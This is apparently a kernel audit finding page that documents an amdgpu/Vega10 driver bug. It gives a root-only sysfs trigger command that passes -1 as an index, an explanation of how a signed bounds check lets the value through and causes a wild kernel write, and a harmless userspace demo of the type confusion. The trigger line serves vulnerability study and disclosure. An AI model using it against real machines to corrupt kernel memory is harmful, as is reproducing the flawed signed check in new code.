⬢ DragonFlyBSD Kernel Audit
DF-3704 / trigger_notes.c
← back to finding ↓ download raw
/*
 * DF-3704 trigger (hardware-gated): on a Vega10 box with overdrive enabled, as root:
 *
 *   echo "s -1 1600 1150" > /sys/class/drm/card0/device/pp_od_clock_voltage
 *
 * amdgpu_pm.c:584 kstrtol() parses "-1" into long parameter[0];
 * vega10_hwmgr.c:4884 `input[i] >= podn_vdd_dep_table->count` is a SIGNED compare
 * (-1 < count passes); :4888 input_level = (uint32_t)-1 = 0xFFFFFFFF;
 * :4893-4895 write dpm_levels[0xFFFFFFFF].value / entries[0xFFFFFFFF].clk/.vddc
 * -> wild kernel write with user-chosen 32-bit values (1600*100 / 1150).
 *
 * Demonstration of the type confusion (userspace, same semantics):
 */
#include <stdio.h>
#include <stdint.h>
int main(void)
{
	long user_input = -1;                 /* what kstrtol hands the kernel */
	uint8_t count = 8;                    /* podn_vdd_dep_table->count */
	uint32_t input_level;

	if (user_input >= count)              /* the buggy signed check */
		printf("rejected\n");
	else {
		input_level = (uint32_t)user_input;   /* :4888 */
		printf("check PASSED (signed compare), input_level=0x%08x\n", input_level);
		printf("entries[input_level] byte offset ~%llu * record-size from the array\n",
		       (unsigned long long)input_level);
	}
	return 0;
}